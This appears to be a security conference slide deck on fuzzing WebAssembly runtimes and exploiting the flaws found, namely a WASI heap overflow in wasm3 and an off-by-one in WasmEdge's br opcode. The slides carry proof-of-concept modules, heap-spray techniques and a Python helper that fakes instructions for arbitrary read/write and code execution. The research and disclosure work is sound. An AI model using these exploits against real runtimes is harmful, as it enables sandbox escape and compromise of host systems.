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BRIEFINGS

Is WebAssembly Really Safe? - Wasm VM Escape and RCE Vulnerabilities Have Been Found in New Way

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
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天虞实验室
TianYu Lab

- WebAssembly Runtime Introduction
- WebAssembly Fuzz Tools Develop
- Vulnerabilities Analyse And Exploit Develop
- Conclusion


What we focus? - WebAssembly Runtime



Previous Researches
focus on

We are
interested in

WebAssembly Runtime Architecture



The stack is divided into two parts.

WASI is a system interface. Similar to syscall in c


BOF? sorry

Docker?


Solomon Hykes @solomonstre
If WASM+WASI existed in 2008, we wouldn't have needed to created Docker. That's how important it is. Webassembly on the server is the future of computing. A standardized system interface was the missing link. Let's hope WASI is up to the task! <https://t.co/wnXQg4kwa4>

WebAssembly Runtime Vulnerability

I would say WASM standard is really safe, but not its runtime.



- Focus on WASM file structure, WASI API, bytecode implementation in runtime.
- Coverage guide fuzzing.



Wasm generator use AFL/libfuzzer's output samples as input data, mapping them to wasm files



- Follow wasm format, we develop the wasm generator.
- Core idea is to make the Non randomizable fields fixed or calculated, otherwise use the data read from the fuzzer's samples.

```

0000h: 00 61 73 6D 01 00 00 00 01 0C 02 60 00 00 60 04  .asm.....
0010h: 7F 7F 7F 7F 01 7F 02 23 01 16 77 61 73 69 5F 73  .....#..wasi_s
0020h: 6E 61 70 73 68 6F 74 5F 70 72 65 76 69 65 77 31  napshot_preview1
0030h: 08 66 64 5F 77 72 69 74 65 00 01 03 02 01 00 05  .fd_write.....
0040h: 03 01 00 01 07 0A 01 06 5F 73 74 61 72 74 00 01  ....._start..
0050h: 0A 2A 01 28 00 41 00 41 80 80 04 36 02 00 41 04  .*(.A.A€€.6..A.
0060h: 41 FF FF 03 36 02 00 41 80 02 41 00 36 02 00 41  Aÿ.6..A€.A.6..A
0070h: 01 41 00 41 01 41 80 02 10 00 1A 0B                .A.A.A€. ....
  
```

Template Results - WASM.bt

Name	Value	Start	Size
struct _ModuleHeader ModuleHeader	Magic: \x00asm,...	0h	8h
> char Magic[4]		0h	4h
int Version	1	4h	4h
struct _Section Section[0]	TYPE	8h	Eh
> struct uleb128 Id	0x1	8h	1h
> struct uleb128 PayloadLen	0xC	9h	1h
struct _TypeSection Payload		Ah	Ch
> struct uleb128 Count	0x2	Ah	ih
struct _FuncType Entries[0]		Bh	3h
> struct uleb128 Form	0x60	Bh	1h
> struct uleb128 ParamCount	0x0	Ch	1h
> struct uleb128 ReturnCount	0x0	Dh	1h
> struct _FuncType Entries[1]		Eh	8h
struct _Section Section[1]	IMPORT	16h	25h

Fixed magic and version

Fixed range(0~16) Section ID

Calculated Section Len

randomizable field

.....

Our generator use C++ objects to handle every types of section, every fields of section, this is easy to implement.

```
class Section {  
    public:  
        virtual SectionId id() = 0;  
        virtual void generate(Context *context);  
        virtual void getEncode(DataOutputStream *out);  
};
```

The function `generate` is used to generate data, and `getEncode` is used to encode the data into the corresponding format.

- For randomizable fields in the structure, we design a strategic data generator.

Algorithm 1 random integer

Ensure: random integer

```
1: function INTEGER
2:    $c \leftarrow \text{range}(0,6)$ 
3:   switch  $c$  do
4:     case 0
5:        $v \leftarrow 0$ 
6:       break
7:     .....
8:     case 6
9:        $c2 \leftarrow \text{range}(0,7)$ 
10:      switch  $c2$  do
11:        .....
12:        case 4
13:           $v \leftarrow 0x100000000$ 
14:          break
15:        case 5
16:           $v \leftarrow 0xffffffff$ 
17:          break
18:        case 6
19:           $v \leftarrow 0x80000000$ 
20:          break
21:        case 7
22:           $c2 \leftarrow \text{range}(0,50000)$ 
23:          break
24:      break
return  $v$ 
```

This is not a random number,
it's read from the fuzzer's
output samples.

We make the boundary value have
higher frequency.
 $0xffffffff(\text{int})$ 、
 $\text{NAN}(\text{float}/\text{double})$ 、

- To Fuzz the wasm runtime's bytecode implementation, We need generate bytecode in the wasm file.

```

0050h: 0A 2A 01 28 00 41 00 41 80 80 04 36 02 00 41 04
0060h: 41 FF FF 03 36 02 00 41 80 02 41 00 36 02 00 41
0070h: 01 41 00 41 01 41 80 02 10 00 1A 0B
  
```

Template Results - WASM.bt


Name	Value	Start	Size
> struct _ModuleHeader ModuleHeader	Magic: \x00asm,...	0h	8h
> struct _Section Section[0]	TYPE	8h	Eh
> struct _Section Section[1]	IMPORT	16h	25h
> struct _Section Section[2]	FUNCTION	3Bh	4h
> struct _Section Section[3]	MEMORY	3Fh	5h
> struct _Section Section[4]	EXPORT	44h	Ch
▼ struct _Section Section[5]	CODE	50h	2Ch
> struct uleb128 Id	0xA	50h	1h
> struct uleb128 PayloadLen	0x2A	51h	1h
▼ struct _CodeSection Payload		52h	2Ah
> struct uleb128 Count	0x1	52h	1h
▼ struct _FunctionBody Bodies		53h	29h
> struct uleb128 BodySize	0x28	53h	1h
> struct uleb128 LocalCount	0x0	54h	1h
> struct uleb128 Code[39]		55h	27h

Our generator use C++ objects to handle every bytecode, randomize or fix its operands with context.

```

class Instruction {
public:
    virtual void generate(Context *context) = 0;
    virtual void getByteCode(DataOutputStream *code) = 0;
};
  
```

ByteCode sequences



- For example, When we generate the bytecode “Call”, We should avoid call recursion, because we can’t generate condition correctly.

```
void Instruction::Call::generate(Context *context) {  
    f.generate(context);  
    while (context->check_loop(from_where, f.value)) {  
        f.value++;  
    }  
    context->add_cfg(from_where, f.value);  
}
```

Use dfs algorithm
to check loop

Add current
function index to
graph

- To Fuzz the wasi api, We need import the wasi api strings on Import Section.

```

0000h: 00 61 73 6D 01 00 00 00 01 0C 02 60 00 00 60 04 .asm.....`.
0010h: 7F 7F 7F 7F 01 7F 02 23 01 16 77 61 73 69 5F 73 .....#.wasi_s
0020h: 6E 61 70 73 68 6F 74 5F 70 72 65 76 69 65 77 31 napsnot_preview1
0030h: 08 66 64 5F 77 72 69 74 65 00 01 03 02 01 00 05 .fd_write.....
0040h: 03 01 00 01 07 0A 01 06 5F 73 74 61 72 74 00 01 ....._start..
0050h: 0A 2A 01 28 00 41 00 41 80 80 04 36 02 00 41 04 *. (.A.A€€.6..A.
0060h: 41 FF FF 03 36 02 00 41 80 02 41 00 36 02 00 41 Äÿ.6..A€.A.6..A
0070h: 01 41 00 41 01 41 80 02 10 00 1A 0B .A.A.A€.
  
```

Name	Value	Start	Size
> struct _ModuleHeader ModuleHeader	Magic: \x00asm,...	0h	8h
> struct _Section Section[0]	TYPE	8h	Eh
▼ struct _Section Section[1]	IMPORT	16h	25h
> struct uleb128 Id	0x2	16h	1h
> struct uleb128 PayloadLen	0x23	17h	1h
▼ struct _ImportSection Payload		18h	23h
> struct uleb128 Count	0x1	18h	1h
> struct _ImportEntry Entries	fd_write	19h	22h
> struct _Section Section[2]	FUNCTION	3Bh	4h
▼ struct _Section Section[3]	MEMORY	2Fh	5h

```

map<string, string> imports_function;
vector<string> imports_function_name;

#define ADD_IMPORT_FUNC(name, module) imports_function[name] = module; \
                                     imports_function_name.push_back(name);
  
```

```

void initImportsFunction() {
    ADD_IMPORT_FUNC("args_get", "wasi_snapshot_preview1")
    ADD_IMPORT_FUNC("args_sizes_get", "wasi_snapshot_preview1")
    .....
}
  
```

```

void Sections::ImportType::generate(Context *context) {
    .....// WASI Imports
    {
        string &n = CHOICE_VEC(imports_function_name);
        name = strdup(n.c_str());
        name_len = strlen(name);
        module = strdup(imports_function[n].c_str());
        module_len = strlen(module);
    }
    .....
}
  
```

Easy to implement in our object model.

Embedding in libfuzzer for fuzzing.

```
void Wasm::WasmStructure::getEncode(DataOutputStream *out)
{
    out->write_buf(magic, 0x4);
    out->write_uint(version);
    int count = sections.size();
    for (int i = 0; i < count; i++)
    {
        sections[i]->getEncode(out);
    }
}

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)
{
    DataOutputStream out;
    WasmStructure *wasm = new WasmStructure((void *)Data, Size);
    wasm->generate();
    wasm->getEncode(&out);
    unsigned char *wasm_buffer = out.buffer();
    .....
    //input the wasm_buffer to runtime
    .....
}
```

Heap Overflow in WASI read/write API in wasm3

```
m3ApiRawFunction(m3wasigenericfdread)
{
    m3ApiReturnType (uint32t)
    m3ApiGetArg      (uvwasifdt      , fd)
    m3ApiGetArgMem   (wasiovect      , wasiovs)
    m3ApiGetArg      (uvwasisizet    , iovslen)
    m3ApiGetArgMem   (uvwasisizet    , nread)

    m3ApiCheckMem(wasiovs,      iovslen sizeof(wasiovect));
    m3ApiCheckMem(nread,       sizeof(uvwasisizet));
    .....
    uvwasizet numread;
    uvwasierrot ret;

    for (uvwasisizet i = 0; i < iovslen; ++i) {
        iovs[i].buf = m3ApiOffsetToPtr(m3ApiReadMem32(&wasiovs[i].buf));
        iovs[i].buflen = m3ApiReadMem32(&wasiovs[i].buflen);

        //fprintf(stderr, "> fdread fd:%d iov%d.len:%dn", fd, i, iovs[i].buflen);
    }

    ret = uvwasifdread(&uvwasi, fd, (const uvwasiovect ) iovs, iovslen, &numread);
    .....
}
```




**Bounds not
check!**

```
(module
  (type (;0;) (func))
  (type (;1;) (func (param i32 i32 i32 i32) (result i32)))
  (import "wasi_snapshot_preview1" "fd_write" (func $__fd_write (type 1)))
  (func $_start (type 0)
    i32.const 0
    i32.const 0x10000 → buf offset
    i32.store
    i32.const 0x4 → buf len
    i32.const 0xffff
    i32.store
    i32.const 0x100 → fd
    i32.const 0 → wasiiovs offset
    i32.const 0x1 → iovslen
    i32.const 0x0 → nread offset
    i32.const 0x1
    i32.const 0x100
    call $__fd_write
    drop
  )
  (memory (;0;) 0x2)
  (export "_start" (func $_start))
)
```




It's easy to get OOB read / write by using fd_read / fd_write.

wasm3 uses a `_PC` stack and `_SP` stack, where the `_PC` stack stores a series of runtime functions and parameters corresponding to opcode. The parameter in the `_PC` stack uses slot index, which represents the parameter read from the subscript in `_SP`.




Heap spray, make the wasm3's memory object in front of `_pc` stack and then overflow it.

- Every opcode handle has a jmp code to next opcode handle.
- We can use JOP (Jump-Oriented Programming) to control the VM's execution flow.




- When wasm3 on Android, the memory object always in behind of `_pc` stack because of scudo allocator. So we should make some heap spray to get desired layout.



How to spray memory and `_pc` stack?

- We found that wasm3 has more than one `_pc` stack.




When reaches end of `_pc stack0`, vm control flow would jump to next page of `_pc` stack.

construct a table

When current `_pc` stack is fulfilled, it would allocate a new page of `_pc` stack.

Look at the compiler of opcode "br_table"


```
static M3Result Compile_BranchTable (IM3Compilation o, m3
opcode_t i_opcode)
{
    .....
    for (u32 i = 0; i < targetCount; ++i)
    {
        .....
        (AcquireCompilationCodePage (o, & continueOpPage));
        pc_t startPC = GetPagePC (continueOpPage);
        IM3CodePage savedPage = o->page;
        o->page = continueOpPage;
        .....
        (EmitOp (o, op_ContinueLoop));
        EmitPointer (o, scope->pc);
        .....
    }
}
```



Just use this for spray more `_pc` stack and get the desired heap layout.

`br_table 0 (;@0;)0 (;@0;)0 (;@0;)0 (;@0;)..... 0 (;@0;)`

- Get arbitrary address read / write and then RCE it.



fake some instructions
such as
global.get/global.set in
_pc stack to get
arbitrary address read /
write and then exploit it!

Vulnerability – Slot missing in bytecode

```
static M3Result Compile_Memory_CopyFill (IM3Compilation o, m3
opcode_t i_opcode)
{
.....
_ (EmitOp (o, op));
_ (PopType (o, c_m3Type_i32));
_ (EmitSlotNumOfStackTopAndPop (o));
_ (EmitSlotNumOfStackTopAndPop (o));
.....
}
```

Need two
slot

```
d_m3Op (MemFill)
{
u32 size = (u32) _r0;
u32 byte = slot (u32);
u64 destination = slot (u32);
.....
}
```

But

```
static inline M3Result EmitSlotNumOfStackTopAndPop (IM3Compilation o)
{
// no emit if value is in register
if (IsStackTopInSlot (o))
EmitSlotOffset (o, GetStackTopSlotNumber (o));
return Pop (o);
}
```




No emit slot if value is in
register

Vulnerability – Slot missing in bytecode



No emit because value is in register

```
d_m30p (MemFill)
{
  u32 size = (u32) _r0;
  u32 byte = slot (u32);
  u64 destination = slot (u32);
  .....
}
```




args3 (destination) 's slot is missing, using next value as slot index


Krartiks

Vulnerability – Slot missing in bytecode

```
d_m30p (MemFill)
{
    u32 size = (u32) _r0;
    u32 byte = slot (u32);
    u64 destination = slot (u32);
    .....
}
```



The slot value can't control arbitrary, so it will result in segmentation fault, unexploitable. 😞



Let's see the vm architecture of WasmEdge

Differ from wasm3, it use "while-switch" to dispatch opcode

```
Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,  
                               Runtime::StackManager &StackMgr,  
                               const AST::InstrView::iterator Start,  
                               const AST::InstrView::iterator End) {  
    AST::InstrView::iterator PC = Start;  
    AST::InstrView::iterator PCEnd = End;  
    auto Dispatch = [this, &PC, &StoreMgr, &StackMgr]() -> Expect<void> {  
        const AST::Instruction &Instr = *PC;  
        switch (Instr.getOpCode()) {  
            .....  
            case OpCode::Br:  
                return runBrOp(StackMgr, Instr, PC);  
            .....  
        };  
        while (PC != PCEnd) {  
            OpCode Code = PC->getOpCode();  
            .....  
            if (auto Res = Dispatch(); !Res) {  
                return Unexpect(Res);  
            }  
            PC++;  
        }  
        .....  
    }  
};
```

Let's see the opcode "br"

```
Expect<void> Executor::runBrOp(Runtime::StackManager &StackMgr,  
                               const AST::Instruction &Instr,  
                               AST::InstrView::iterator &PC) noexcept {  
    return branchToLabel(StackMgr, Instr.getJump().StackEraseBegin,  
                          Instr.getJump().StackEraseEnd, Instr.getJump().PCOffset,  
                          PC);  
}
```

WasmEdge – Br Opcode Analyse

```
Expect<void> Executor::branchToLabel(Runtime::StackManager &StackMgr,
    uint32_t EraseBegin, uint32_t EraseEnd,
    int32_t PCOffset,
    AST::InstrView::iterator &PC) noexcept {
    // Check stop token
    if (unlikely(StopToken.exchange(0, std::memory_order_relaxed))) {
        spdlog::error(ErrCode::Interrupted);
        return Unexpect(ErrCode::Interrupted);
    }
    StackMgr.stackErase(EraseBegin, EraseEnd);
    PC += PCOffset;
    return {};
}

Expect<void> FormChecker::checkInstr(const AST::Instruction &Instr) {
    .....
    switch (Instr.getOpCode()) {
    .....
    case OpCode::Br:
        if (auto D = checkCtrlStackDepth(Instr.getTargetIndex()); !D) {
            return Unexpect(D);
        } else {
            // D is the last D element of control stack.
            .....
            auto &Jump = const_cast<AST::Instruction &>(Instr).getJump();
            .....
            Jump.PCOffset = static_cast<int32_t>(CtrlStack[*D].Jump - &Instr);
            return unreachable();
        }
    .....
}
```

PCOffset = Instr.getJump().PCOffset
What the Value is?

Here calculate the
Jump.PCOffset

Vulnerability – Off by One in Br Opcode

```

Expect<void> Executor::branchToLabel(Runtime::StackManager &StackMgr,
    uint32_t EraseBegin, uint32_t EraseEnd,
    int32_t PCOffset,
    AST::InstrView::iterator &PC) noexcept {
    // Check stop token
    if (unlikely(StopToken.exchange(0, std::memory_order_relaxed))) {
        spdlog::error(ErrCode::Interrupted);
        return Unexpect(ErrCode::Interrupted);
    }
    StackMgr.stackErase(EraseBegin, EraseEnd);
    PC += PCOffset;
    return {};
}

Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,
    .....
    case OpCode::Br:
        return runBrOp(StackMgr, Instr, PC);
    .....
    while (PC != PCEnd) {
        OpCode Code = PC->getOpCode();
        .....
        if (auto Res = Dispatch(); !Res) {
            return Unexpect(Res);
        }
        PC++;
    }
}
    
```

```

(module
  (type (;0;) (func))
  (func (;0;) (type 0)
    call 1
  )
  (func (;1;) (type 0)
    br 0
  )
  (export "_start" (func 0))
)
    
```


PCOffset = 1

PC += 1

PC += 1




Vulnerability – Off by One in Br Opcode



Off By One

EXP – Off by One in Br Opcode



How to control its content?

```

(module
  (type (;0;) (func))
  (global (;0;) i64 (i64.const 0x61626364))
  (func $ a(;1;) (type 0)
    i64.const 0x11111111
    i64.const 0x11111111
    i64.const 0x21111111
    i64.const 0x31111111
    .....
    i64.const 0xn11111111
    nop
    call $_b
  )
  (func $_b(;2;) (type 0)
    br 0
  )
  (func $_start(;0;) (type 0)
    .....
    call $_a
    .....
  )
  (export "_start" (func $_start))
  (memory (;0;) 1)
)
  
```

Use **i64.const** opcode to do heap spray

balance stack

EXP – Off by One in Br Opcode

In file: /home/sea/Desktop/WasmEdge/lib/executor/helper.cpp

```
187     spdlog::error(ErrCode::Interrupted);
188     return Unexpect(ErrCode::Interrupted);
189 }
190
191 StackMgr.stackErase(EraseBegin, EraseEnd);
▶ 192 PC += PCOffset;
193     return {};
194 }
195
196 Runtime::Instance::TableInstance *
197 Executor::getTabInstByIdx(Runtime::StackManager &StackMgr,
```

```
pwndbg> x /20gx PC
0x7f6f00001d90: 0x0000000000000000 0x0000000100000000
0x7f6f00001da0: 0x0000000c000001b6 0x0000000000000000
0x7f6f00001db0: 0x0000000000000001 0x0000000000000000
0x7f6f00001dc0: 0x0000000b000001b8 0x0000000000000000
0x7f6f00001dd0: 0x0000004200000154 0x0000000000000000
0x7f6f00001de0: 0x0000002a11111111 0x0000000000000000
0x7f6f00001df0: 0x000000420000015b 0x0000000000000075
0x7f6f00001e00: 0x00005645ef63fdd8 0x00007f6f00001280
0x7f6f00001e10: 0x0000004200000046 0x00007f6f00001b10
0x7f6f00001e20: 0x0000000000000000 0x0000000000000000
```

Br

End

Fake Instruction Object

Sprayed i64.const value



We can fake an arbitrary opcode, but operand can't be controlled.

EXP – Off by One in Br Opcode

```
In file: /home/sea/Desktop/WasmEdge/lib/executor/helper.cpp
187     spdlog::error(ErrCode::Interrupted);
188     return Unexpect(ErrCode::Interrupted);
189 }
190
191 StackMgr.stackErase(EraseBegin, EraseEnd);
▶ 192 PC += PCOffset;
193     return {};
194 }
195
196 Runtime::Instance::TableInstance *
197 Executor::getTabInstByIdx(Runtime::StackManager &StackMg
r,
pwndbg> x /40wx PC
0x7f6f00001d90: 0x00000000 0x00000000 0x00000000 0x00000001
0x7f6f00001da0: 0x000001b6 0x0000000c 0x00000000 0x00000000
0x7f6f00001db0: 0x00000001 0x00000000 0x00000000 0x00000000
0x7f6f00001dc0: 0x000001b8 0x0000000b 0x00000000 0x00000000
0x7f6f00001dd0: 0x00000154 0x00000042 0x00000000 0x00000000
0x7f6f00001de0: 0x11111111 0x0000002a 0x00000000 0x00000000
```

Try to find some opcodes who use the **JumpEnd**


```
struct Instruction {
    uint32_t JumpEnd;
    uint32_t JumpElse;
    BlockType ResType;
    uint32_t Offset = 0;
    OpCode Code;
    struct {
        bool IsAllocLabelList : 1;
        bool IsAllocValTypeList : 1;
    } Flags;
};
```

We found that Else opcode uses JumpEnd, and the PC value will be changed.

```
Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,
.....
    case OpCode::Else:
.....
        PC += PC->getJumpEnd();
        [[fallthrough]];
    case OpCode::End:
        PC = StackMgr.maybePopFrame(PC);
        return {};
.....
```

```
(module
  (type (;0;) (func))
  (global (;0;) i64 (i64.const 0x61626364))
  (func $_a(;1;) (type 0)
    i64.const 0x11111111
    .....
    i64.const 0x29111111
    i64.const 0x50000000
    .....
    i64.const 0xn1111111
    nop
    call $_b
    drop
    drop
    drop
    drop
    .....
    drop
  )
  (func $_b(;2;) (type 0)
    br 0
  )
  (func $_start(;0;) (type 0)
    .....
    call $_a
    .....
  )
  (export "_start" (func $_start))
  (memory (;0;) 1)
)
```

EXP – Off by One in Br Opcode



Now, you can run any instructions you faked!



We can use **v128.const i64x2** to spray sp stack

```
(module
  (type (;0;) (func))
  (global (;0;) i64 (i64.const 0x61626364))
  (func $_a(;1;) (type 0)
    .....
    call $_b
    .....
  )
  (func $_b(;2;) (type 0)
    br 0
  )
  (func $_start(;0;) (type 0)
    nop
    v128.const i64x2 0xffffffff 0xffffffff
    nop
    v128.const i64x2 0x1fffffff 0x1fffffff
    .....
    nop
    v128.const i64x2 0xffffffff 0xffffffff
    call $_a
    drop
    drop
    .....
    drop
    .....
  )
  (export "_start" (func $_start))
  (memory (;0;) 1)
)
```



EXP – Off by One in Br Opcode

```
def Global_Get(index):
    global i
    i += 2
    code = 'nop\n'
    code += 'v128.const i64x2 %d 0\n' % (index)
    code += 'nop\n'
    code += 'v128.const i64x2 0x2300000000 0\n'
    return code
def Global_Set(index):
    global i
    i += 2
    code = 'nop\n'
    code += 'v128.const i64x2 %d 0\n' % (index)
    code += 'nop\n'
    code += 'v128.const i64x2 0x2400000000 0\n'
    return code
def i32_const(value):
    global i
    i += 2
    code = 'nop\n'
    code += 'v128.const i64x2 %d 0\n' % (value)
    code += 'nop\n'
    code += 'v128.const i64x2 0x4100000000 0\n'
    return code
.....
```

Fake `Global_Get` and `Global_Set` instruction, we can get arbitrary address read / write.

Construct any opcode you need, and exploit it!

EXP – Off by One in Br Opcode



- structured fuzzing inspired by
 - FREEDOM: Engineering a State-of-the-Art DOM Fuzzer (ACM CSS 2020)
- control pc_stack
- i32.const, i64.const, v128.const
- GlobalGet & GloblaSet

Q & A

@h1zhao



Q1: can we fuzz wasm in v8 and other js engines?

```
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)
{
    DataOutputStream out;
    WasmStructure *wasm = new WasmStructure((void *)Data, Size);
    wasm->generate();
    wasm->getEncode(&out);
    int sz = out.size();
    char *buf = (char *)calloc(sz, 7);
    const unsigned char *data = out.buffer();
    .....
    const char csource_fmt[] = R"(
        let bytes = new Uint8Array([%s]);
        let module = new WebAssembly.Module(bytes);
        let instance = new WebAssembly.Instance(module);
        instance.exports._start();
    )";
    .....
    //feed the string to the js engine
    .....
}
```


Thank You!

https://github.com/ha1vk/blackhat_wasm



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TianYu Lab